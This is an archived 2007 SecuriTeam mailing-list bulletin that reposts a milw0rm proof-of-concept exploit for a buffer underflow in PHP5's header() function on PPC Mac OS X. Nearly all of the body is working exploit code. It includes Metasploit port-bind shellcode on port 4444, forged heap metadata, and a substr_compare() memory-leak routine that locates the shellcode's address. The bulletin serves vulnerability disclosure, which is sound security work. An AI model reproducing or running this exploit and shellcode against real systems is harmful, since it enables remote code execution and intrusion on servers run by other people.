

# [EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00041.html>

- From: SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
- Date: 22 Mar 2007 16:21:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----  
PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)  
-----

## SUMMARY

A vulnerability in PHP5 for MacOS X allows remote code execution via the usage of the header() function.

## DETAILS

Exploit:

```

<?php
////////////////////////////////////
// ----- //
// ||| | _ _ _ _ _ | | _ _ _ _ _ | | _ _ | _ \ || | _ \ //
// | _ \ / ^ ' _ \ / ^ | ' \ / - _ / ^ _ \| _ \| _ \| _ \| //
// | | _ \ , _ | | \ , _ \| _ \| | | \ _ \| _ , _ | | | | | | //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////
// PHP header() Space Trimming Buffer Underflow Vulnerability //
////////////////////////////////////

```

## [EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

```
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

// PPC MacOSX Portshell on 4444 from Metasploit
// (16 bytes added to make it compatible with unlink exploit)
$shellcode =
"\x48\x00\x00\x10\x60\x00\x00\x00\x60\x00\x00\x00\x60\x00\x00\x00".
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa".
"\x38\xa5\xf8\x4a\x3c\xc0\x28\x43\x60\xc6\x84\x76\x38\x85\x07\xee".
"\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a".
"\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba".
"\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\x10\x23\x84\x74".
"\x10\xc3\x84\x77\x10\xe3\x84\x70\x10\x43\x84\x17\x6c\x43\x84\x74".
"\x54\x43\x86\x0e\x54\x3d\x9f\x0e\x60\x43\x84\x7b\x28\x41\x95\x2a".
"\x28\x43\x84\x76\x54\xcb\x86\xd0\x10\xe3\x84\x66\x10\x43\x84\x1e".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\x43\x84\x1c".
"\x57\x80\x77\x0e\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\x80\x77\x0e".
"\x10\x43\x84\x68\x10\xc3\x84\x66\xb8\xc2\x7b\x9e\x10\xe2\x7b\x9e".
"\x10\xc2\x7b\x86\x6c\x43\x84\x74\x54\x43\x86\x0e\x54\x3d\x9f\x0e".
"\x10\xe3\x84\x74\x10\x43\x84\x2c\x57\x80\x77\x0e\x54\xe7\xaf\x0e".
"\x6c\x43\x84\x74\x54\x43\x86\x0e\x10\xe6\x7b\x89\x04\x46\x7b\x89".
"\x68\xc1\x7b\x93\x10\x43\x84\x34\x6c\x43\x84\x74\x54\x43\x86\x0e".
"\x54\xe6\xae\x0f\x68\xc1\x7b\x8b\x54\x2b\x86\xd0\x10\x20\x84\x5e".
"\xb8\x22\x7b\x8e\xb8\xe2\x7b\x8a\x10\xc2\x7b\x8e\x10\x43\x84\x4d".
"\x54\x43\x80\xda\x6c\x43\x84\x74\x54\x43\x86\x0e\x57\xa3\x84\x7e".
"\x07\x21\xed\x18\x07\x20\xf7\x1e\x28\x43\x84\x76";

// Offsets used for the overwrite (will be overwritten by findOffsets())
$offset_1 = 0x55555555;
$offset_2 = 0x66666666;

findOffsets(); // Comment out if you want to just test the crash

// IF YOU OUTPUT ANYTHING THEN header() WILL FAIL
//printf("Using offsets %08x and %08x\n", $offset_1, $offset_2);

// Convert offsets into strings
$addr1 = pack("L", $offset_1);
$addr2 = pack("L", $offset_2);

// Memory Alignment stuff
$v1 = 1;
$v2 = 2;

// Block that will contain the fake memory block
$v1 = str_repeat("B", 0x110-0x14);

// Prepare fake memory header
$v1[0] = chr(0);
$v1[1] = chr(0);
```

## [EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

```
$v1[2] = chr(0);
$v1[3] = chr(4);

$v1[8] = $addr1[0];
$v1[9] = $addr1[1];
$v1[10] = $addr1[2];
$v1[11] = $addr1[3];

$v1[12] = $addr2[0];
$v1[13] = $addr2[1];
$v1[14] = $addr2[2];
$v1[15] = $addr2[3];

// Heap alignment
$v2 = str_repeat("A", 400);
$v2 = str_repeat(" ", 400);

// Trigger overflow
header($v2);

unset($v2);

// This function uses the substr_compare() vulnerability
// to get the offsets. In a remote exploit such offsets
// would get bruteforced

function findOffsets()
{
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    // otherwise the heap is too segmented
    global $memdump, $d, $arr;

    $sizeofHashtable = 39;
    $maxlength = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "\x00\x00\x01\x00\x00\x00\x00\xff\x00\x00\x00\x01";

    $memdump = str_repeat("A", 16000);
    for ($i=0; $i<400; $i++) {
        $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("\x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }
```

## [EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

```
// If the libc memcmp leaks the information use it
// otherwise we only get a case insensitive memdump
$b = substr_compare(chr(65),chr(0),0,1,false) != 65;

for ($i=0; $i<16000; $i++) {
    $y = substr_compare($x, chr(0), $i+1, $maxlength, $b);
    $Y = substr_compare($x, chr(1), $i+1, $maxlength, $b);
    if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
            if (substr_compare($x, $y, $i+1, $maxlength, false)==-1) {
                $y = strtoupper($y);
            }
        }
        $memdump[$i] = $y;
    } else {
        $y = substr_compare($x, chr(1), $i+1, $maxlength, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlength, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
            $memdump[$i] = chr(1);
        } else {
            $memdump[$i] = chr(0);
        }
    }
}

// Search shellcode and hashtable and calculate memory address
$pos_shellcode = strpos($memdump, $shellcode);
$pos_hashtable = strpos($memdump, $search);
$addr = substr($memdump, $pos_hashtable+6*4, 4);
$addr = unpack("L", $addr);

// Fill in both offsets
$offset_1 = $addr[1] + 32;
$offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4 - 8;
}

?>
```

### ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3517>>

<http://www.milw0rm.com/exploits/3517>

[EXPL] PHP5 Space Trimming Buffer Underflow Exploit (header(), MacOSX)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.